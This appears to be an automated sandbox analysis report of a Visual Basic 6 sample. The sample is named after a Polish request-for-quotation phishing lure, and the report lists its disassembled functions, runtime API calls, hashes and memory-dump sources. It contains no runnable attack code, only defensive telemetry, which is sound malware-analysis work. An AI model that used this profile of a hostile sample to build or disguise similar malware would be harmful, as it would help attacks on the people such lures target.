Opcode Fuzzy Hash: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction Fuzzy Hash: 48710CB1900209EBDB04DFE1DA59BEEBB74FB44304F20806DE502B76A0D7785E45DB18

Function 00426070 Relevance: 64.8, APIs: 43, Instructions: 350COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6CF8D9F5,00000000,6CF8D83C), ref: 004260E5
__vbaStrCopy.MSVBVM60 ref: 004260ED
__vbaOnError.MSVBVM60(00000001), ref: 004260F1
__vbaStrToAnsi.MSVBVM60(?,?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00426110
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426121
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0042612B
__vbaFreeStr.MSVBVM60 ref: 0042613A
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,?), ref: 0042616D
__vbaSetSystemError.MSVBVM60(?,?,00000006,?,00000000), ref: 00426183
__vbaSetSystemError.MSVBVM60(?,?,00000010,?,00000000), ref: 00426199
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 004261B0
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,?,00000000), ref: 004261C6
__vbaAryLock.MSVBVM60(?,?), ref: 004261D7
__vbaGenerateBoundsError.MSVBVM60 ref: 004261F4
__vbaGenerateBoundsError.MSVBVM60 ref: 00426203
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000), ref: 00426224
__vbaAryUnlock.MSVBVM60(?), ref: 0042622A
__vbaSetSystemError.MSVBVM60(?), ref: 00426239
__vbaStrToAnsi.MSVBVM60(?,?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 0042624E
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426259
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00426263
__vbaFreeStr.MSVBVM60 ref: 00426272
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262D8
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262EB
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0042630A
__vbaAryLock.MSVBVM60(?,?), ref: 00426314
__vbaGenerateBoundsError.MSVBVM60 ref: 00426331
__vbaGenerateBoundsError.MSVBVM60 ref: 00426339
__vbaUbound.MSVBVM60(00000001,?,?,00000000), ref: 0042634D
__vbaSetSystemError.MSVBVM60(?,3F800000,00000000), ref: 00426366
__vbaAryUnlock.MSVBVM60(?), ref: 00426372
__vbaAryLock.MSVBVM60(?,?), ref: 0042637C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042639C
__vbaGenerateBoundsError.MSVBVM60 ref: 004263AD
__vbaAryUnlock.MSVBVM60(?,?,?,3F800004,?), ref: 004263D5
__vbaSetSystemError.MSVBVM60(?), ref: 004263E5
__vbaExitProc.MSVBVM60 ref: 004263EE
__vbaSetSystemError.MSVBVM60(?,?), ref: 00426410
__vbaExitProc.MSVBVM60 ref: 00426419
__vbaFreeStr.MSVBVM60(00426466), ref: 00426443
__vbaRecDestruct.MSVBVM60(00407F10,?), ref: 0042644E
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042645A
__vbaFreeStr.MSVBVM60 ref: 00426463

Part of subcall function 00426480: __vbaSetSystemError.MSVBVM60(00000000,?,00000006,?,00000000,?,00426152,?), ref: 004264B4

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$BoundsGenerate$Free$LockUnlock$AnsiCopyDestructExitProcUnicode$RedimUbound
String ID:
API String ID: 2812220623-0
Opcode ID: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction ID: 6d216b33ba202ac5a5f4cc22896228a38d21b0d4e91878a3c687a56ceed05745
Opcode Fuzzy Hash: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction Fuzzy Hash: D7D12A71E00218ABCB04EFE5ED84DEEBBB9BF88704F50411EF505A7254DB74A942CB69

Function 00420670 Relevance: 61.8, APIs: 41, Instructions: 261COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000,00000000), ref: 004206C8
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004206D0
__vbaOnError.MSVBVM60(00000001), ref: 004206D4
#648.MSVBVM60(0000000A), ref: 004206EC
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004206FB
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?), ref: 00420714
__vbaLenBstr.MSVBVM60(00405414), ref: 0042071F
#525.MSVBVM60(00000000), ref: 00420726
__vbaStrMove.MSVBVM60(?,00000000), ref: 00420737
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042074B
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00420755

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00420765

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00420776
__vbaStrCmp.MSVBVM60(00000000), ref: 00420779
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00420797
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 004207C6
__vbaLenBstr.MSVBVM60(00405414), ref: 004207CD
__vbaGet3.MSVBVM60(00000004,0042C250,00000000), ref: 00420815
#525.MSVBVM60(00000000), ref: 0042081E
__vbaStrMove.MSVBVM60 ref: 0042082B
__vbaGet3.MSVBVM60(00000000,0042C254,00000000), ref: 0042083C
__vbaGet3.MSVBVM60(00000004,0042C1C0,00000000), ref: 0042084C
__vbaStrCopy.MSVBVM60 ref: 00420861
#648.MSVBVM60(0000000A), ref: 00420879
__vbaFreeVar.MSVBVM60 ref: 00420888
__vbaStrCat.MSVBVM60(00000000,?), ref: 00420899
__vbaStrMove.MSVBVM60 ref: 004208A4
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,00000000), ref: 004208B6
__vbaFreeStr.MSVBVM60 ref: 004208BF
__vbaGenerateBoundsError.MSVBVM60 ref: 004208E1
__vbaUI1I2.MSVBVM60 ref: 004208EC
__vbaUI1I2.MSVBVM60 ref: 00420918
__vbaUI1I2.MSVBVM60 ref: 00420922

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Get3$Copy$#516#631Bstr$#525#648ErrorFileOpen$#537BoundsGenerateList
String ID:
API String ID: 695521769-0
Opcode ID: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction ID: 7f18cb6a5bab86a65f3f7d37ad3edf1072490e8e3ae84fdb7564aa9c634781f6
Opcode Fuzzy Hash: f8ef0d2bbbc17cc47077afd85e451489e7cc431014dfc9b52aac7517ad6bcadf
Instruction Fuzzy Hash: ADA1C071E00258DBCB14EFE5ED84ADEBBB5FF48300F50412AE516AB2A1DB745885CF68

Function 00422BF0 Relevance: 61.7, APIs: 41, Instructions: 214COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,00000000,004032B6), ref: 00422C0E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004032B6), ref: 00422C3B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004032B6), ref: 00422C4A
#648.MSVBVM60(0000000A), ref: 00422C69
__vbaFreeVar.MSVBVM60 ref: 00422C78
__vbaI2I4.MSVBVM60(?), ref: 00422C8C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00422C9A
__vbaI2I4.MSVBVM60 ref: 00422CAA
#570.MSVBVM60(00000000), ref: 00422CB1
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422CBE
__vbaI2I4.MSVBVM60 ref: 00422CF3
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422CFE
__vbaI2I4.MSVBVM60 ref: 00422D0E
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00422D1B
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D39
__vbaLenBstr.MSVBVM60(0040545C), ref: 00422D67
#525.MSVBVM60(00000000), ref: 00422D6E
__vbaStrMove.MSVBVM60 ref: 00422D79
__vbaI2I4.MSVBVM60 ref: 00422D89
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00422D94
__vbaI2I4.MSVBVM60 ref: 00422DA4
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422DB1

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422DCC
__vbaStrCopy.MSVBVM60 ref: 00422DEA
__vbaStrMove.MSVBVM60(00000003), ref: 00422DFB
#616.MSVBVM60(00000000), ref: 00422E02
__vbaStrMove.MSVBVM60 ref: 00422E0D

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422E22
__vbaStrCmp.MSVBVM60(00000000), ref: 00422E29
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422E50

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,?,00000000), ref: 00422E76
__vbaStrMove.MSVBVM60(00000004), ref: 00422E97
#618.MSVBVM60(00000000), ref: 00422E9E
__vbaStrMove.MSVBVM60 ref: 00422EA9
__vbaI4Str.MSVBVM60(00000000), ref: 00422EB0
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422EC7
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422EDA
__vbaFileClose.MSVBVM60(00000000), ref: 00422EE1
__vbaFreeStr.MSVBVM60(00422F2A), ref: 00422F1A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00422F23
__vbaErrorOverflow.MSVBVM60 ref: 00422F40

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$FreeMove$BstrFile$#516#631Copy$ErrorGet3ListSeek$#525#537#570#616#618#648ChkstkCloseOpenOverflow
String ID:
API String ID: 277344030-0
Opcode ID: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction ID: 0dbf9007f3e025cc507390632291acf7cd708b816fac69f1e160cd6eff4667e3
Opcode Fuzzy Hash: 80d27adf0f7515f30dffb66509e59b70ef8c6a723e0b90cbf6394fe901ba1ca0
Instruction Fuzzy Hash: 8091C871D00248EFDB04DFA0DA48BDEBBB8FB48705F108169E612B76A0DB745A49CF64

Function 0040D650 Relevance: 61.5, APIs: 31, Strings: 4, Instructions: 283COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040D69B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D6B2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D6D3
__vbaFreeObj.MSVBVM60 ref: 0040D6FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D724
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D749
__vbaLateIdCallLd.MSVBVM60(?,?,68030000,00000000), ref: 0040D75E
__vbaI4Var.MSVBVM60(00000000), ref: 0040D768
__vbaLateMemCallLd.MSVBVM60(?,?,hwnd,00000000,00008003), ref: 0040D78A
__vbaVarTstEq.MSVBVM60(00000000), ref: 0040D794
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D7A2
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0040D7B2
__vbaExitProc.MSVBVM60 ref: 0040D7DF
__vbaExitProc.MSVBVM60 ref: 0040D7EC

Strings

hwnd, xrefs: 0040D77E
MR, xrefs: 0040DA2E
Once, xrefs: 0040D90C, 0040D972
RO, xrefs: 0040D8E8, 0040D94D

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$CallCheckExitHresultLateListProc$Error
String ID: MR$ RO$Once$hwnd
API String ID: 1721777011-1584818490
Opcode ID: f1c211779c0b3bb3b88594b85937cb88ccef8d8afbaf8a30aea8c47be55a5225
Instruction ID: 3a18aed98be3068f103a5839567168951ce735157339c65100099b40d738d62c
Opcode Fuzzy Hash: f1c211779c0b3bb3b88594b85937cb88ccef8d8afbaf8a30aea8c47be55a5225
Instruction Fuzzy Hash: 24B10771900204EBDB04DFE4DD49BAEBBB8FF48700F50816AE505B72A1DB785945CBA9

Function 0041F2C0 Relevance: 57.9, APIs: 31, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0041F2DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F30E
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F33D
__vbaStrVarMove.MSVBVM60(?), ref: 0041F347
__vbaStrMove.MSVBVM60 ref: 0041F352
__vbaFreeVar.MSVBVM60 ref: 0041F35B
__vbaStrCopy.MSVBVM60 ref: 0041F38A
#717.MSVBVM60(?,00004008,00000040,00000000), ref: 0041F3B9
__vbaStrVarMove.MSVBVM60(?), ref: 0041F3C3
__vbaStrMove.MSVBVM60 ref: 0041F3CE
__vbaStrCopy.MSVBVM60 ref: 0041F3D9
__vbaFreeStr.MSVBVM60 ref: 0041F3E2
__vbaFreeVar.MSVBVM60 ref: 0041F3EB
__vbaStrCat.MSVBVM60(00000000,Remark for ), ref: 0041F411
#717.MSVBVM60(?,00000008,00000040,00000000), ref: 0041F430
__vbaStrVarMove.MSVBVM60(?), ref: 0041F43D
__vbaStrMove.MSVBVM60 ref: 0041F448
__vbaStrCopy.MSVBVM60 ref: 0041F453
__vbaFreeStr.MSVBVM60 ref: 0041F45C
__vbaFreeVarList.MSVBVM60(00000002,00000008,?), ref: 0041F46F
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041F4CF
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F4DD
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F4EB
__vbaFreeStr.MSVBVM60 ref: 0041F4F4
__vbaRecUniToAnsi.MSVBVM60(00406F68,?,?,?), ref: 0041F515
__vbaSetSystemError.MSVBVM60(00000000,00000002,00000000), ref: 0041F525
__vbaRecAnsiToUni.MSVBVM60(00406F68,?,?), ref: 0041F53B
__vbaRecDestructAnsi.MSVBVM60(00406F68,?), ref: 0041F54D
__vbaRecDestructAnsi.MSVBVM60(00406F68,?,0041F5A5), ref: 0041F586
__vbaFreeStr.MSVBVM60 ref: 0041F58F
__vbaRecDestruct.MSVBVM60(00406F68,?), ref: 0041F59E

Strings

P, xrefs: 0041F48D
Remark for , xrefs: 0041F406

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Ansi$#717CopyDestructError$System$ChkstkListUnicode
String ID: P$Remark for
API String ID: 3958374764-404550290
Opcode ID: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction ID: 57f6e2307a2881c8932ec88b1fdace90c080974f77e0174b8cc4dbb87e3633e4
Opcode Fuzzy Hash: 3836bbc5565a20a4707f8b3767ffc18a2dee7e207138df64e28d7e6c74dad988
Instruction Fuzzy Hash: 2081FAB1900249EFDB14DFA0DE49BDEBBB8FB48305F108169E506BB2A0DB745A49CF54

Function 00411210 Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

#594.MSVBVM60(?,6CF8D9F5,-00000001,6CF8D8B1), ref: 0041127A
__vbaFreeVar.MSVBVM60 ref: 00411283
__vbaLenBstr.MSVBVM60 ref: 0041128F
#631.MSVBVM60(?,?,0000000A), ref: 004112C8
__vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
#516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
__vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
__vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2
#593.MSVBVM60(00000002,?,?,?,?,0000000A), ref: 004113D6
#714.MSVBVM60(?,00000004,00000000,?,?,?,0000000A), ref: 00411464
__vbaVarAdd.MSVBVM60(?,?,00000003,?,?,0000000A), ref: 0041147C
__vbaI4Var.MSVBVM60(00000000,?,?,0000000A), ref: 00411483
__vbaFreeVarList.MSVBVM60(00000004,00000002,00000004,?,?,?,?,0000000A), ref: 004114A0
#537.MSVBVM60(?,?), ref: 004114B4
__vbaStrMove.MSVBVM60(?,?), ref: 004114C5
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 004114C8
__vbaStrMove.MSVBVM60(?,?), ref: 004114D3
#537.MSVBVM60(?,00000000,?,?), ref: 004114D7
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114E2
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 004114EB
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 004114F2
#537.MSVBVM60(00000000,00000000,?,00000000,?,?), ref: 004114F6
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 00411501
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 00411504
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0041150B
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?,?,00000000,?,?), ref: 00411523
__vbaStrCopy.MSVBVM60 ref: 0041154C
__vbaFreeStr.MSVBVM60(004115AE), ref: 004115A7
__vbaErrorOverflow.MSVBVM60(?,?,0000000A), ref: 004115C9

Strings

gfff, xrefs: 004113DF
gfff, xrefs: 0041137D

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$#537$List$#516#593#594#631#714BstrCopyErrorOverflow
String ID: gfff$gfff
API String ID: 2397813863-3084402119
Opcode ID: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction ID: 89f21965ee05a7b64c3006bf8dd978c4399402eb5f0bddd0a045db34c415a49c
Opcode Fuzzy Hash: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction Fuzzy Hash: 9B9162B1E00249AFCB08DFA4DD45BDDBBFAEB88301F10412AE50AE7264EB345985CF54

Function 0041A5A0 Relevance: 52.7, APIs: 35, Instructions: 220COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040C87B,00000000), ref: 0041A5BE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041A5EE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,00000000,Function_000032B6), ref: 0041A5FF
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A60E
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A62A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041A664
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041A67A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041A693
#525.MSVBVM60(00000104), ref: 0041A6BC
__vbaStrMove.MSVBVM60 ref: 0041A6C7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041A6FE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041A73D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0041A758
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041A77E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041A78F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7A4
#616.MSVBVM60(?,?,?,00000000), ref: 0041A7B9
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A7C7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041A7DE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7EA
__vbaLenBstr.MSVBVM60(?,?,00000000), ref: 0041A7FB
__vbaStrCat.MSVBVM60(?,00407CCC,?,00000001,?,00000000), ref: 0041A822
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A830
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000000), ref: 0041A83C
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A84A
__vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 0041A853
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041A879
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128,?,00000000), ref: 0041A8BA
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 0041A8D0
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?,?,00000000), ref: 0041A8E9
__vbaSetSystemError.MSVBVM60(?), ref: 0041A90D
__vbaFreeStr.MSVBVM60(0041A96B), ref: 0041A937
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041A94F
__vbaFreeStr.MSVBVM60 ref: 0041A958
__vbaFreeStr.MSVBVM60 ref: 0041A964

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
